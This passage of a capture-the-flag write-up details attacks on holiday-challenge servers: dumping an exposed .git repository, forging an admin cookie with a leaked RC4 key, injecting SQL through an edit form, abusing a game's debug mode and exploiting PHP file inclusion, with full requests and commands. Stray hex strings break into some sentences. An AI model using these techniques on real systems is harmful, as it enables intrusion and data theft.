b251d9d05c903c3023441ee793732b67dd6647c39f7033b09769b483426e74be

Aaaaaand we’re in.  Quail before my l33t cut-and-paste skills 😉  With the haxor adrenaline surge subsiding, let’s take a few minutes to settle down and look around.  The first thing that catches my eye is the MP3 link.  Lest we forget, our goal is to find audio files from each in-scope target system.  Clicking the MP3 link, we start downloading discombobulatedaudio2.mp3.

Vulnerability: Compromised credentials

Audio file recovered: discombobulatedaudio2.mp3

2of7


analytics.northpolewonderland.com [Method 2] (104.198.252.157)

Let’s start simple, let’s feed one of these URLs we found in the APK file into a browser and see what happens.

analytics-northpolewonderland-com2

Ok, despite the URL parameters, it appears this web application only accepts POST HTTP requests, and moreover these POSTs should include input supplied with Content-Type: application/json.  Such a helpful web application.  Time to fire up ZAP and resend this request using POST.

analytics-northpolewonderland-com3

No “profit” yet, but this helpful web application is trying to us along.  We need to supply a username and password.  Waaay back in part two we found some credentials baked into the APK file, they were username: guest, password: busyreindeer78.  Let’s JSON-ify this information:

{"username": "guest", "password": "busyreindeer78"}

Now let’s resend this JSON in our POST request.

analytics-northpolewonderland-com4

I like success, but I’m just not getting much positive feedback from the web application.  I need more information.  If only we had another source of information…. wait… what about that /.git/ folder we found, I wonder if we can exploit that to collect more information about this analytics server.

googlenotdis

After firing up a browser and Googled “.git folder exploit” I found this page [*]  that talks about how to use the presence of a .git folder to clone the code that it pertains to.  In this particular case, I’m really hoping that we can use this technique to clone the code of the analytics web application.

[*] Don’t publicly expose .git or how we downloaded your website’s sourcecode – An analysis of Alexa’s 1M

Step 1) Mirror the .git folder hierarchy.

$ wget --mirror -I .git https://analytics.northpolewonderland.com/.git/

Step 2) Check out the status of the .git checkout.

$ cd analytics.northpoleworderland.com
$ git status
On branch master
Changes not staged for commit:
 (use "git add/rm ..." to update what will be committed)
 (use "git checkout -- ..." to discard changes in working directory)

deleted: README.md
 deleted: crypto.php
 deleted: css/bootstrap-theme.css
 deleted: css/bootstrap-theme.css.map
 deleted: css/bootstrap-theme.min.css
 deleted: css/bootstrap-theme.min.css.map
 deleted: css/bootstrap.css
 deleted: css/bootstrap.css.map
 deleted: css/bootstrap.min.css
 deleted: css/bootstrap.min.css.map
 deleted: css/bootstrap.min.css.orig
 deleted: db.php
 deleted: edit.php
 deleted: fonts/glyphicons-halflings-regular.eot
 deleted: fonts/glyphicons-halflings-regular.svg
 deleted: fonts/glyphicons-halflings-regular.ttf
 deleted: fonts/glyphicons-halflings-regular.woff
 deleted: fonts/glyphicons-halflings-regular.woff2
 deleted: footer.php
 deleted: getaudio.php
 deleted: header.php
 deleted: index.php
 deleted: js/bootstrap.js
 deleted: js/bootstrap.min.js
 deleted: js/npm.js
 deleted: login.php
 deleted: logout.php
 deleted: mp3.php
 deleted: query.php
 deleted: report.php
 deleted: sprusage.sql
 deleted: test/Gemfile
 deleted: test/Gemfile.lock
 deleted: test/test_client.rb
 deleted: this_is_html.php
 deleted: this_is_json.php
 deleted: uuid.php
 deleted: view.php

Lots of interesting files..

Step 3) Reset the repository to recover deleted files.

$ git checkout -- .
$ ls -al
total 108
drwxrwxr-x 7 foo foo 4096 Dec 8 09:54 .
drwxrwxr-x 3 foo foo 4096 Dec 8 09:36 ..
-rw-rw-r-- 1 foo foo 290  Dec 8 09:41 crypto.php
drwxrwxr-x 2 foo foo 4096 Dec 8 09:41 css
-rw-rw-r-- 1 foo foo 2958 Dec 8 09:41 db.php
-rw-rw-r-- 1 foo foo 2392 Dec 8 09:41 edit.php
drwxrwxr-x 2 foo foo 4096 Dec 8 09:41 fonts
-rw-rw-r-- 1 foo foo 29   Dec 8 09:41 footer.php
-rw-rw-r-- 1 foo foo 1191 Dec 8 09:41 getaudio.php
drwxrwxr-x 8 foo foo 4096 Dec 8 09:41 .git
-rw-rw-r-- 1 foo foo 2000 Dec 8 09:41 header.php
-rw-rw-r-- 1 foo foo 819  Dec 8 09:41 index.php
drwxrwxr-x 2 foo foo 4096 Dec 8 09:41 js
-rw-rw-r-- 1 foo foo 2913 Dec 8 09:41 login.php
-rw-rw-r-- 1 foo foo 174  Dec 8 09:41 logout.php
-rw-rw-r-- 1 foo foo 325  Dec 8 09:41 mp3.php
-rw-rw-r-- 1 foo foo 7697 Dec 8 09:41 query.php
-rw-rw-r-- 1 foo foo 310  Dec 8 09:41 README.md
-rw-rw-r-- 1 foo foo 2252 Dec 8 09:41 report.php
-rw-rw-r-- 1 foo foo 5008 Dec 8 09:41 sprusage.sql
drwxrwxr-x 2 foo foo 4096 Dec 8 09:41 test
-rw-rw-r-- 1 foo foo 629  Dec 8 09:41 this_is_html.php
-rw-rw-r-- 1 foo foo 739  Dec 8 09:41 this_is_json.php
-rw-rw-r-- 1 foo foo 647  Dec 8 09:41 uuid.php
-rw-rw-r-- 1 foo foo 1949 Dec 8 09:41 view.php

Step 4) Profit!

At the risk of boring the reader to tears, I’ll summarize what happened next as quickly as possible.  This git repository is a veritable treasure trove of information, but where is the vulnerability ? and more to the point where is the other audio file ?  I lamented about not 0b33d3c83a28e766fc084b0ec5c5d45991548cbb63467b1168ba8a342bbee1e2having enough information, and now dare I say… I may have too much.

The key take aways from the git repository are:

  • db.php
    • MySQL is the RDBMS back-end.
    • DB is running on localhost
    • User: sprusage
    • Database: sprusage
  • crypto.php
    • Database entries encrypted.
      • RC4 stream cipher
      • Key = \x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc
  • login.php
    • Cookie: AUTH
      • RC4 encrypted JSON blob (using the same key as above):
      • { “username”: ‘username”, “date”: “YYYY-MM-DDTHH:mm:ss+0000“}
  • header.php
    • Indications of another account called administrator.
  • edit.php
    • An experimental feature for editing saved reports.
    • Only accessible to the administrator user.
  • sprusage.sql
    • There is a table named audio.

After many unsuccessful attempts to perform SQL injection, I started focusing my efforts on the edit functionality.  The first problem is gaining access to the portal using the administrator account without knowing its password.  Knowing how the AUTH cookie is created, we should be able to engineer an administrator token using some PHP, so let’s do that.

C:\HH2016>more administrator-auth-cookie.php
 'administrator',
  'date' => '2016-12-21T20:39:54+0000'])));
  print "Set-Cookie: AUTH=$auth";
?-->

C:\HH2016>%PHP% administrator-auth-cookie.php
Set-Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9b654ab1494b6a63a40763b71976884152

Now that we’ve got a new AUTH cookie, let’s use ZAP to intercept our lowly guest user request for the /edit.php resource and replace it with our administrator AUTH cookie.

analytics-northpolewonderland-com-edit

Looks good.  It’s worth mentioning here, that there are only 3 fields on this form; ID, Name and Description (this will become relevant in a minute).  As I mentioned, this form is used to to edit saved reports.  So before this will be valuable, we’ll need to save a report.  Let’s do that now.

analytics-northpolewonderland-com-edit-saved-query

Now, I’ll save the reader the seemingly endless failed attempts to exploit this edit functionality.  It wasn’t until I submitted an edit query and noticed that a 4th field was analytics-northpolewonderland-com-edit-check-queryalso parsed “Checking for query…“.  I never supplied a query.  As you can see, the edit.php script is also parsing the query that it looked up from the database.  There’s no facility in the HTML form to edit this query parameter, but when has that ever stopped us 😀  Using Burp Repeater, let’s engineer a new edit.php GET request that uses the administrator AUTH cookie and attempt to modify the SQL query in our saved report.

GET /edit.php?id=c5c3794b-ae85-49bb-9e3b-152513ec15f1&name=foo&description=bar&query=SELECT * from audio HTTP/1.1
Host: analytics.northpolewonderland.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://analytics.northpolewonderland.com/edit.php
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9b654ab1494b6a63a40763b71976884152

The result is…

analytics-northpolewonderland-com-edit-newquery-results

Hello discombobulatedaudio7.mp3.  Now that I know you exist, I’d sure like to download you.  Time to start reverse engineering the getaudio.php file.

// EXPERIMENTAL! Only allow guest to download.
 if ($username === 'guest') {

$result = query($db, "SELECT * FROM `audio` WHERE `id` = '" . mysqli_real_escape_string($db, $_GET['id']) . "' and `username` = '" . mysqli_real_escape_string($db, $username) . "'");

Oh you’re a hateful script aren’t you.  Only the guest user can download audio files using the getaudio.php script.  Since the discombobulatedaudio7.mp3 file is associated to the administrator user, the getaudio.php file will not help me.  No worries though, we can probably use this same technique with a few modifications to send us a base64-encoded version of the discombobulatedaudio7.mp3 file.

GET /edit.php?id=c5c3794b-ae85-49bb-9e3b-152513ec15f1&name=foo&description=bar&query=SELECT TO_BASE64(mp3) FROM audio WHERE username = "administrator" HTTP/1.1
Host: analytics.northpolewonderland.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://analytics.northpolewonderland.com/edit.php
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9b654ab1494b6a63a40763b71976884152

analytics-northpolewonderland-com-edit-disco7-dle9850dbd39c0ff26fadab7787f03589d

There we go.

A massive base64 blob of mp3 goodness.  Let’s scrape this result into a text file and run it through the Linux utility base64 -d to convert it back into it’s original format.

Boom! Got it.

$ cat discombobulatedaudio7.b64 | base64 -d > discombobulatedaudio7.mp3

$ file discombobulatedaudio7.mp3
 discombobulated7.mp3: Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo

Vulnerability: SQL injection

Audio file recovered: discombobulatedaudio7.mp3

3of7


ads.northpolewonderland.com (104.198.221.240)

Let’s start by checking out the URL we found in the APK file.

ads-northpolewonderland-com0

So, it’s pretty clear this is the advertising server. Let’s start with a preliminary Nmap service version (-sV), then maybe a default script scan (-sC) scan and finally an http-enum script scan…

ads-northpolewonderland-com-nmap

ads-northpolewonderland-com-nmap-sc

ads-northpolewonderland-com-nmap-http-enum

As you can see Nmap didn’t give us much.  So lets revisit the URL we got from the APK file.  Instead of the full URL let’s just clip off all the resources and substitute “/” instead.  So… http://ads.northpolewonderland.com/

ads-northpolewonderland-com-wth

What the heck ?  This looks odd… a title, a background colour, but no content ?  Let’s check out the page source.

ads-northpolewonderland-com-wth2

Oh.  Meteor.  So, clearly my old version of Firefox (used because it ignores HSTS headers) clearly doesn’t like the JavaScript-heavy Meteor framework.  Let’s switch to a modern Chrome browser with Tampermonkey extension and the MeteorMiner userscript.

ads-northpolewonderland-com-meteor-collections1

Not being literate in Meteor, the SANS blog post on Mining Meteor [1] was very helpful in understanding what parts of a Meteor application should be scrutinized.  As an attacker I’m interested in what extra information is this Meteor application leaking.  In Meteor-speak, we’re interested in Collections.  As can be seen (above) the top-level page has 4 records in the HomeQuotes collection.  Let’s fire up the JavaScript console and let’s take a look at them.

[1] Mining Meteor

To inspect the values of a collection we use the command HomeQuotes.find().fetch(), and here’s what we get.  Not very useful.  These 4 objects appear to be the content of the side-ads-northpolewonderland-com-meteor-nojoyscrolling quote window on the main page.  There’s nothing really valuable here which is very disappointing.  But let’s keep looking at some of the other pages in this web application.

The MeteorMiner extension shows other “pages” (called “Routes” in Meteor).  So by clicking on the little > by each route we can quickly navigate around the web application.  Remember, we’re on the look-out for routes with collections.

There are only a few routes to inspect, and lo and behold there is only one other route /admin/quotes that has a collection associated to it.  Moreover, this route’s collection has 5 members.

ads-northpolewonderland-com-meteor-collections1b

Let’s check them out.

ads-northpolewonderland-com-meteor-mp3

Here are our 4 familiar HomeQuotes that we saw earlier, but the last one is new… ie2327

/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

This is all well and good, but we need to grab the file, so let’s tack this resource onto our URI and see if we can download it.

http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

Vulnerability: Excessive information disclosure

Audio file recovered: discombobulatedaudio5.mp3

4of7


dev.northpolewonderland.com (35.184.63.245)

Let’s start by running some Nmap scans of the development server.

dev-northpolewonderland-com-nmap-svdev-northpolewonderland-com-nmap-scdev-northpolewonderland-com-nmap-http-enum

Well… not much useful with these scans.  Let’s move on to feeding the URL we found in the APK file into our browser.

dev-northpolewonderland-com-json-dl

Ok, well… that’s unusual.  It appears that the development server wants us to download whatever is being served up by the index.php file.  Let’s see what this session looks like in ZAP.

dev-northpolewonderland-com-json-dl2

Sadly ZAP was only able to tell us that whatever the dev server is trying to send to us it will eventually be in JSON format.  But currently, it’s not sending us anything!  No friendly guidance from the web application this time.  That’s alright, if the web application wants to do this the hard way, that’s fine with me.

Clearly, the development server is behaving so quietly because it does not want to help us.  Unfortunately, I have an Android application that wants to talk to the development server… er… well it will want to talk to the development server after I’m done with it. 🙂

In the Android APK file there is a file called res/value/strings.xml that has the following setting:

debug-enabled: false

Let’s change this to:

debug-enabled: true

We’ll need to recompile the APK file and sign it.  Thanks to Joshua Wright’s YouTube video [*] we know how to do that.   I’m going to come clean here, the next steps took me an embarrassingly long time to get set up correctly.  So what you see summarized here in the next few lines probably took me 6-8 hours of frustration to get working properly.  What I want to accomplish is the following:

  1. Install the debug-enabled APK to an Android device.
  2. Set-up a remote Burp interception proxy to capture traffic from the Android device.
  3. Configure the Android device with a remote Burp proxy particulars.
  4. Use the debug-enabled SantaGram app to trigger a HTTP request to the development server.
  5. Catch the properly formatted HTTP request and exploit the heck out of it.

[*] SANS Pen Test – How To’s: Manipulating Android Applications

67280354

I won’t lie to you, working with Android emulators is a painful process.  I wasted most of the time trying to get a Android emulator working properly – I eventually gave up and pushed it to some one of my Android test devices.

Looking at the decompiled SantaGram APK it’s clear that a call to the deug server (dev.northpolewonderland.com) happens in the EditProfile.java file. Let’s fire up the SantaGram app and see if we can trigger a call to the debug server using the Edit Profile functionality.

Hunting around in the SantaGram app I found a button named “Edit Profile”, when I tapped this button my Burp proxy showed the following request:

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; Nexus 9 Build/NMF26F)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 144

{"date":"20161223124728-0500",
 "udid":"12bbbb41d71d0771",
"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem":17332872}

And the response:

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 23 Dec 2016 17:47:28 GMT
Content-Type: application/json
Connection: close
Content-Length: 250

{"date":"20161223174728",
"status":"OK",
"filename":"debug-20161223174728-0.txt",
"request":{
  "date":"20161223124728-0500",
  "udid":"12bbbb41d71d0771",
  "debug":"com.northpolewonderland.santagram.EditProfile, EditProfile",
  "freemem":17332872,
  "verbose":false}
}

So, it looks like the debug server will respond to requests if the requests are properly formatted and populated.

Looking at the JSON response, you can see that our original debug request is contained inside the request JSON block… but there is a new field in there too called verbose, and it’s currently set to false.  That wasn’t in the request we submitted.  Let’s find out what happens if we set that parameter to true.

Here’s the new request:

POST /index.php HTTP/1.1
 Content-Type: application/json
 User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; Nexus 9 Build/NMF26F)
 Host: dev.northpolewonderland.com
 Connection: close
 Accept-Encoding: gzip
 Content-Length: 161

{"date":"20161223124728-0500",
"udid":"12bbbb41d71d0771",
"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem":17332872, 
"verbose": true}

And the response from the server:

HTTP/1.1 200 OK
 Server: nginx/1.6.2
 Date: Fri, 23 Dec 2016 18:55:52 GMT
 Content-Type: application/json
 Connection: close
 Content-Length: 10441

{"date":"20161223185552","date.len":14,
"status":"OK",
"status.len":"2",
"filename":"debug-20161223185552-0.txt",
"filename.len":26,
"request":{
 "date":"20161223124728-0500",
 "udid":"12bbbb41d71d0771",
 "debug":"com.northpolewonderland.santagram.EditProfile, EditProfile",
 "freemem":17332872,
 "verbose":true
},
"files":["debug-20161223182021-0.txt",
"debug-20161223183136-0.txt",
"debug-20161223183240-0.txt",
"debug-20161223183519-0.txt",
"debug-20161223183814-0.txt",
"debug-20161223183837-0.txt",
"debug-20161223183916-0.txt",
"debug-20161223184048-0.txt",
"debug-20161223184048-1.txt",
...
[330-ish lines removed for brevity]
...
"debug-20161223184206-2.txt",
"debug-20161223184538-0.txt",
"debug-20161223184732-0.txt",
"debug-20161223185234-0.txt",
"debug-20161223185309-0.txt",
"debug-20161223185437-0.txt",
"debug-20161223185513-0.txt",
"debug-20161223185552-0.txt",
"debug-20161224235959-0.mp3",
"index.php"]
}

Whoa.  When they say verbose they mean VERBOSE.  But check out that second-to-last file that was listed in the JSON dump (debug-20161224235959-0.mp3).  I think we just 7dd6e96e6508fb43b1564d8a9964c19d7bf1eba07fc98e3c0c099b999ce5040ffound another piece of the audio file puzzle.  Aww… and look at the timestamp on the MP3 file  December 24th 2016 @ 11:59:59pm – the last second of Christmas Eve.

The only question left is… how hard will it be to find this MP3 file, and download it from the debug server.  Given that the file list also shows index.php, it may be entirely possible that this MP3 is sitting in the DocumentRoot of the web server.

Let’s give it a shot.

Huzzah!

Vulnerability: No input validation, with excessive information disclosure.

Audio file recovered: debug-20161224235959-0.mp3

5of7


dungeon.northpolewonderland.com (35.184.47.139)

As always, let’s start with the standard Nmap scans.

dungeon-northpolewonderland-com-nmapdungeon-northpolewonderland-com-nmap-scdungeon-northpolewonderland-com-nmap-http-enumClearly this server is running a version of the dungeon game which is bound to tcp/11111. There’s also a mail server running on tcp/25, and a web server running on tcp/80.

The web server just seems to be a single page with the instructions to the dungeon game.

dungeon1

These instructions are very useful, not because they explain the game but because they tell us the goal.  We need to get to the newly added North Pole rooms and trade with some elf to obtain a secret from him.  We can either play the game and walk to the North Pole end-game (which as many elves seem to think is unwinnable), or we can cheat.  Let’s cheat.

First, let’s try and figure out what changes were made to the game.  If I were a developer trying to modify somebody else’s game I’d probably make my modifications is such a way as to not disturb the rest of the game… that means my new content would probably end up as; new records at the bottom of database tables, new lines at the bottom of arrays, etc… My new content would be after the existing content.

The dungeon game appears to be a port of the famous Zork I game.  As luck would have it there is game debugging technique (GDT) that allows an “implementer” to manipulate parts of the game.  This is GDT terminal is far too useful to ignore.  Assuming any newly created rooms and items will be recorded after the existing rooms/items, they will have the highest index numbers.  Let’s use this hypothesis to find if there are any North Pole items or rooms.

To evaluate the presence of any new items, I wrote this expect script:

#!/usr/bin/expect -f
set MAX_ITEMS 220
set TROLL 19
set THIEF 61
set CYCLOPS 58
set BAT 83

spawn nc dungeon.northpolewonderland.com 11111
expect ">"
send "gdt\r"
expect "GDT>"
for {set i 1} {$i < $MAX_ITEMS} {incr i} {      # Don't conjure hostile or nuisance items      if {$i != $TROLL && $i != $THIEF && $i != $CYCLOPS && $i != $BAT} {          send "tk\r"          expect "Entry: "          send "$i\r"          expect "GDT>"
    send "ex\r"
    expect ">"
    send "i\r"
    expect ">"
    send "drop all\r"
    expect ">"
    send "gdt\r"
    expect "GDT>"
  }
}

This showed me all items, including a new item (“A elf”) with item number 217.  Using a similar technique, I evaluated the rooms:

#!/usr/bin/expect -f
set MAX_ROOMS 500

spawn nc dungeon.northpolewonderland.com 11111
expect ">"
send "gdt\r"
expect "GDT>"
send "tk\r"
expect "Entry: "
send "15\r"
expect "GDT>"
send "ex\r"
expect ">"
send "light lamp\r"
expect ">"
send "gdt\r"
expect "GDT>"
for {set i 1} {$i < $MAX_ROOMS} {incr i} {      send "ah\r"      expect "New="      send "$i\r"      expect "GDT>"
  send "ex\r"
  expect ">"
  send "l\r"
  expect ">"
  send "gdt\r"
  expect "GDT>"
}

Using this technique I discovered what appears to be the end-game room (room number 192).

You have mysteriously reached the North Pole.

In the distance you detect the busy sounds of Santa's elves in full production.

You are in a warm room, lit by both the fireplace but also the glow of centuries old trophies.
On the wall is a sign:
                Songs of the seasons are in many parts
                To solve a puzzle is in our hearts
                Ask not what what the answer be,
                Without a trinket to satisfy me.
The elf is facing you keeping his back warmed by the fire
>

Let’s try giving the elf a treasure.  Since I enumerated all of the items in the game, I know that item number 108 is a treasure called “a crown”.  Let’s conjure up a crown and give it to the elf.

$ nc dungeon.northpolewonderland.com 11111
Welcome to Dungeon. This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>gdt
GDT>tk
Entry: 108
Taken.
GDT>ah
Old= 2 New= 192
GDT>ex
>l
You have mysteriously reached the North Pole. 
In the distance you detect the busy sounds of Santa's elves in full 
production.

You are in a warm room, lit by both the fireplace but also the glow of 
centuries old trophies.
On the wall is a sign: 
                Songs of the seasons are in many parts 
                To solve a puzzle is in our hearts
                Ask not what what the answer be,
                Without a trinket to satisfy me.
The elf is facing you keeping his back warmed by the fire.
>give crown to elf
The elf, satisified with the trade says - 
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 2 moves.
This gives you the rank of Beginner.

61776437

And, there we go… with a score of only 15 points, I’ve finished the game.

Moreover, I only took 2 moves to finish the game, but I’m not particularly interested in the score, I’m only interested in recovering the audio file.

Without further delay, let’s send Peppermint and email and see what we get back from her.

peppermint1

Woowoo!  There’s the discombobulated audio file as an attachment to the email.

Vulnerability: Unprotected debugging tool

Audio file recovered: discombobulatedaudio3.mp3

6of7


ex.northpolewonderland.com (104.154.196.33)

Like the other targets, let start off with an Nmap service version (-sV) scan, a default script (-sC) scan, and a http-enum scan.

ex-northpolewonderland-com-nmap-svex-northpolewonderland-com-nmap-scex-northpolewonderland-com-nmap-http-enum

Not much to see… an SSH server and an HTTP server listing on tcp/80 (but we kind of already knew that because we found this URL (http://ex.northpolewonderland.com/exception.php).  Let’s take a look at what’s being served up by the HTTP server – let’s check out this URL and the root resource (/).

ex-northpolewonderland-com-403

Well… that’s unfriendly.

ex-northpolewonderland-com-exception-php-1

Ok – that’s a bit more friendly.  The web application is expecting to be contacted using a POST HTTP request (and our request was using GET).  So, let’s fire up ZAP and Resend the request as a POST.

ex-northpolewonderland-com-exception-php-2

Aww… that’s very friendly.  The web application wants to have a conversation with us so badly that it’s telling us all of the information we need to set up this conversation.  Let’s continue obliging it.  It’s now telling using that it only wants us to speak using JSON content.  So let’s Resend our request with Content-Type: application/json.

ex-northpolewonderland-com-exception-php-3

If only kids these days were as polite and helpful as this web application. 😉 It’s now telling us that the JSON we sent to it was invalid (malformed).  Well, yes… as we sent no JSON to the web application, it will definitely be hard to parse.  Let’s some really simple JSON (seriously “{}” is about as simple as it gets) and see what happens…

ex-northpolewonderland-com-exception-php-5

This friendly web application is now telling me that my JSON needs to have a specific key (and it’s also giving me the two allowed values too!).

Let’s see if we can find in the APK file the proper format for the JSON it is expecting.  After some digging around in the JAVA files looking for the string “WriteCrashDump” I found the following in com/northpolewonderland/santagram/b.java :

Log.i(context.getString(0x7f070014), (new StringBuilder()).append("Exception: sending exception data to ").append(context.getString(0x7f070020)).toString());
 try
 {
 jsonobject.put("operation", "WriteCrashDump");
 JSONObject jsonobject1 = new JSONObject();
 jsonobject1.put("message", throwable.getMessage());
 jsonobject1.put("lmessage", throwable.getLocalizedMessage());
 jsonobject1.put("strace", Log.getStackTraceString(throwable));
 jsonobject1.put("model", Build.MODEL);
 jsonobject1.put("sdkint", String.valueOf(android.os.Build.VERSION.SDK_INT));
 jsonobject1.put("device", Build.DEVICE);
 jsonobject1.put("product", Build.PRODUCT);
 jsonobject1.put("lversion", System.getProperty("os.version"));
 jsonobject1.put("vmheapsz", String.valueOf(Runtime.getRuntime().totalMemory()));
 jsonobject1.put("vmallocmem", String.valueOf(Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory()));
 jsonobject1.put("vmheapszlimit", String.valueOf(Runtime.getRuntime().maxMemory()));
 jsonobject1.put("natallocmem", String.valueOf(Debug.getNativeHeapAllocatedSize()));
 jsonobject1.put("cpuusage", String.valueOf(a()));
 jsonobject1.put("totalstor", String.valueOf(b()));
 jsonobject1.put("freestor", String.valueOf(c()));
 jsonobject1.put("busystor", String.valueOf(d()));
 jsonobject1.put("udid", android.provider.Settings.Secure.getString(context.getContentResolver(), "android_id"));
 jsonobject.put("data", jsonobject1);

So it looks like our exception JSON should look like this:

{
"operation": "WriteCrashDump",
 "data": { "message": "message_boom",
          "lmessage": "lmessage_boom",
            "strace": "strace_boom",
             "model": "model_boom",
            "sdkint": "sdkint_boom",
            "device": "device_boom", 
           "product": "product_boom", 
          "lversion": "lversion_boom", 
          "vmheapsz": "vmheapsz_boom", 
        "vmallocmem": "vmallocmem_boom", 
     "vmheapszlimit": "vmheapszlimit_boom", 
       "natallocmem": "natallocmem_boom", 
          "cpuusage": "cpuusage_boom", 
         "totalstor": "totalstor_boom", 
         "freestore": "freestore_boom", 
          "busystor": "busystor_boom"}
}

Let’s feed this JSON into our POST request and see what happens.

ex-northpolewonderland-com-exception-php-4

The web application likes me now – yay!  Hmm.. that’s an interesting response.  folder = docs, crashdump = crashdump-scZtb6.php.  PHP files are the domain of the web application, so I wonder if we can use this information to build up a new URL (http://ex.northpolewonderland.com/docs/crashdump-scZtb6.php)  It’s a long shot, but let’s give it a shot.

ex-northpolewonderland-com-docs-1

Well, well, well… this looks familiar. User-supplied data that is being parsed by the server… this feels like something we can use to our advantage.  But going further we should investigate the other how the “ReadCrashDump” operation works.  Knowing what we know about the WriteCrashDump operation, we can take an educated guess as to the structure of the ReadCrashDump JSON.

{"operation": "ReadCrashDump", "data": { }}

ex-northpolewonderland-com-readcrashdump-1

Once more, the web application is trying to help us.  It’s now telling us we’re missing a JSON key called “crashdump”.  Let’s feed it the name of the crashdump we just created using the WriteCrashDump operation.

ex-northpolewonderland-com-readcrashdump-2

Whoops.  Apparently the web application doesn’t want us to supply a “.php” extension in our crashdump name.  Let’s oblige it and remove the “.php”.

ex-northpolewonderland-com-readcrashdump-3

Ah hah.  This is our bogus crashdump being shown back at us, but it’s clearly being parsed by the PHP interpreter since it’s all nice and formatted.  So, let’s use this knowledge (and the PHP LFI hint [*] by one of Santa’s elves and try to grab a copy of the Base64-encoded copy of the exception.php script.

[*] Getting MOAR Value out of PHP Local File Include Vulnerabilities

ex-northpolewonderland-com-readcrashdump-encoded

Send this mass of base64-encoded text to ZAP’s Encoder/Decoder module and we get:

 <?php 
# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3 
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/ 
# Make sure that it is a POST request. 
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){ 
 die("Request method must be POST\n"); 
} 
 
# Make sure that the content type of the POST request has been set to application/json 
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : ''; 
if(strcasecmp($contentType, 'application/json') != 0){ 
 die("Content type must be: application/json\n"); 
} 
 
# Grab the raw POST. Necessary for JSON in particular. 
$content = file_get_contents("php://input"); 
$obj = json_decode($content, true); 
 # If json_decode failed, the JSON is invalid. 
if(!is_array($obj)){ 
 die("POST contains invalid JSON!\n"); 
} 
# Process the JSON. 
if ( ! isset( $obj['operation']) or ( 
 $obj['operation'] !== "WriteCrashDump" and 
 $obj['operation'] !== "ReadCrashDump")) 
 { 
 die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n"); 
} 
if ( isset($obj['data'])) { 
 if ($obj['operation'] === "WriteCrashDump") { 
 # Write a new crash dump to disk 
 processCrashDump($obj['data']); 
 } 
 elseif ($obj['operation'] === "ReadCrashDump") { 
 # Read a crash dump back from disk 
 readCrashdump($obj['data']); 
 } 
} 
else { 
 # data key unset 
 die("Fatal error! JSON key 'data' must be set.\n"); 
} 
function processCrashdump($crashdump) { 
 $basepath = "/var/www/html/docs/"; 
 $outputfilename = tempnam($basepath, "crashdump-"); 
 unlink($outputfilename); 
 
 $outputfilename = $outputfilename . ".php"; 
 $basename = basename($outputfilename); 
 
 $crashdump_encoded = "&lt;?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');"; 
 file_put_contents($outputfilename, $crashdump_encoded); 
 
 print &lt;&lt;&lt;END 
{ 
 "success" : true, 
 "folder" : "docs", 
 "crashdump" : "$basename" 
} 
END; 
} 
function readCrashdump($requestedCrashdump) { 
 $basepath = "/var/www/html/docs/"; 
 chdir($basepath); 
 
 if ( ! isset($requestedCrashdump['crashdump'])) { 
 die("Fatal error! JSON key 'crashdump' must be set.\n"); 
 } 
if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) { 
 die("Fatal error! crashdump value duplicate '.php' extension detected.\n"); 
 } 
 else { 
 require($requestedCrashdump['crashdump'] . '.php'); 
 } 
} 
?>

Check out that comment near the top.   It gives us the location and the name of the audio file that we are looking for.  The audio file is located in the in webroot of the exception server and it’s named discombobulated-audio-6-XyzE3N9YqKNH.mp3.  Let’s see if we can download it using the following URL: http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3

Vulnerability: Local file inclusion (LFI) via PHP wrapper

Audio file recovered: discombobulated-audio-6-XyzE3N9YqKNH.mp3

7of7

7) For each of [attack targets], which vulnerabilities did you discover and exploit?

  • The Mobile Analytics Server (via credentialed login access)
    • Vulnerabilities discovered/exploited:
      • Unprotected credentials
      • Credential reuse
  • The Dungeon Game
    • Vulnerabilities discovered/exploited:
